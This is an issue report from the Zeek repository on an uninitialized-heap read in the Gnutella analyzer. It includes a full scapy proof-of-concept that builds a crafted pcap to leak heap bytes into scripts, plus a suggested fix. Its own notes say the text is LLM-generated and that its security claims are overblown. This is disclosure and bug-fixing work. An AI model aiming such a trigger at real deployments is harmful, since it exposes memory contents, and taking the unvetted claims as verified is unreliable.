Gnutella: Uninitialized-heap read on Gnutella payload buffer leaks heap into script-land
This was originally opened as a security issue, but the team decided that it's not relevant from a security context. It is, however, a bug. Its security claims are overblown, but I did not edit most of them. Events are considered locked down in Zeek. Gnutella is also disabled by default.
This issue was generated entirely by an LLM.
Summary
Gnutella_Analyzer::SendEvents() builds a StringVal directly from the fixed-size
char payload[1024] member of GnutellaMsgState. That buffer is filled by memcpy from
network bytes, is never NUL-terminated, and is never zero-initialized (the class has a
user-provided constructor that does not touch the array, so new leaves it indeterminate).
p->payload decays to char* and selects the StringVal(std::string_view) constructor, whose
implicit string_view(const char*) conversion calls strlen() on the buffer. An attacker who
sends a Gnutella binary message header with a zero payload-length field makes strlen() walk
the entirely unwritten 1024-byte array (plus padding, terminating at the zero-initialized
payload_len member that follows), and the resulting uninitialized heap bytes are delivered to
script-land as the payload argument of gnutella_binary_msg — where they may be logged or
exported. The same pattern exists for the 23-byte msg buffer in the
gnutella_partial_binary_msg path.
Technical details
Sink — src/analyzer/protocol/gnutella/Gnutella.cc:202-207 (SendEvents):
p->payload is char[1024] (Gnutella.h:32, GNUTELLA_MAX_PAYLOAD = 1024 at
Gnutella.h:13); the call selects StringVal(std::string_view) (src/Val.h / Val.cc),
which invokes strlen(). A sibling sink is Gnutella.cc:65
(make_intrusive<StringVal>(p->msg), 23-byte msg buffer, gnutella_partial_binary_msg).
Why the buffer is uninitialized and unterminated:
GnutellaMsgState::GnutellaMsgState()(Gnutella.cc:17-30) initializes the scalar members but never touchespayload[]ormsg[]. Because the class has a user-provided default constructor,new detail::GnutellaMsgState()(Gnutella.cc:40-41) does not zero-initialize the arrays; they hold indeterminate heap bytes.- The only write into
payload[]ismemcpy(&ms->payload[ms->payload_len], &data[ms->current_offset], sz)(Gnutella.cc:249) — raw wire bytes, no terminator appended, and nopayload[payload_len] = 0anywhere. - Trigger: after both directions complete the Gnutella text handshake
(
GNUTELLA ... 200+ empty line;GnutellaOK/Established),DeliverMessages()parses a 23-byte binary header. With header bytes 19-22 (little-endian payload length) all zero,msg_len == 0andSendEvents()fires immediately withpayload_len == 0andpayload[]never written.strlen()scans the whole indeterminate array and stops at the first zero byte of thepayload_lenmember that follows it (Gnutella.h:33) — 1024 bytes + 2 padding bytes = 1026 leaked bytes observed.
The over-read stays inside the GnutellaMsgState allocation (payload_len is 0 or capped at
1024, so its bytes always contain a NUL), which is why no sanitizer report fires; the defect is
the disclosure of uninitialized heap content to script-land.
Reproduction
Requires enabling the analyzer and an event handler. Self-contained
generator producing gnutella.pcap (LINKTYPE_RAW) and the enabling script
gnutella.zeek:
#!/usr/bin/env python3
import os
from scapy.all import IP, TCP, wrpcap
CLI, SRV, SPORT, DPORT = "10.0.0.1", "10.0.0.2", 40000, 6346
def build():
pkts = []
cs, ss = 1000, 2000
def seg(orig, payload=b"", flags="PA"):
nonlocal cs, ss
if orig:
p = IP(src=CLI, dst=SRV) / TCP(sport=SPORT, dport=DPORT, flags=flags, seq=cs, ack=ss) / payload
cs += len(payload)
else:
p = IP(src=SRV, dst=CLI) / TCP(sport=DPORT, dport=SPORT, flags=flags, seq=ss, ack=cs) / payload
ss += len(payload)
pkts.append(p)
pkts.append(IP(src=CLI, dst=SRV) / TCP(sport=SPORT, dport=DPORT, flags="S", seq=cs)); cs += 1
pkts.append(IP(src=SRV, dst=CLI) / TCP(sport=DPORT, dport=SPORT, flags="SA", seq=ss, ack=cs)); ss += 1
pkts.append(IP(src=CLI, dst=SRV) / TCP(sport=SPORT, dport=DPORT, flags="A", seq=cs, ack=ss))
# Gnutella text handshake, both directions
seg(True, b"GNUTELLA 200 OK\r\n\r\n")
seg(False, b"GNUTELLA 200 OK\r\n\r\n")
# 23-byte binary header: 16-byte GUID (no NULs), type, ttl, hops, msg_len=0 (LE)
seg(True, b"B" * 16 + bytes([0x00, 0x01, 0x00]) + b"\x00\x00\x00\x00")
seg(True, b"", flags="FA"); cs += 1
seg(False, b"", flags="FA"); ss += 1
return pkts
zeek_script = """
event zeek_init()
{
Analyzer::register_for_ports(Analyzer::ANALYZER_GNUTELLA, set(6346/tcp));
}
event gnutella_binary_msg(c: connection, orig: bool, msg_type: count, ttl: count,
hops: count, msg_len: count, payload: string,
payload_len: count, trunc: bool, complete: bool)
{
print fmt("gnutella_binary_msg: payload_len=%d strlen_payload=%d", payload_len, |payload|);
print fmt("leaked payload hex: %s", bytestring_to_hexstr(payload));
}
"""
wrpcap("gnutella.pcap", build(), linktype=101)
open("gnutella.zeek", "w").write(zeek_script)
print("wrote gnutella.pcap + gnutella.zeek")Run against an ASan build twice, changing the allocator fill byte to show the leaked bytes are exactly the never-written heap fill:
zeek -r gnutella.pcap -C gnutella.zeek
ASAN_OPTIONS=$ASAN_OPTIONS:malloc_fill_byte=65:max_malloc_fill_size=4096 \
zeek -r gnutella.pcap -C gnutella.zeekSuggested fix
[!NOTE] This was generated by an LLM. I do not vouch for its validity.
Construct the StringVals with explicit lengths instead of relying on strlen():
// Gnutella.cc:205
make_intrusive<StringVal>(p->payload_len, p->payload)
// Gnutella.cc:65
make_intrusive<StringVal>(p->msg_pos, p->msg)Optionally also zero-initialize msg and payload in the GnutellaMsgState constructor as
defense in depth.
Source: zeek/zeek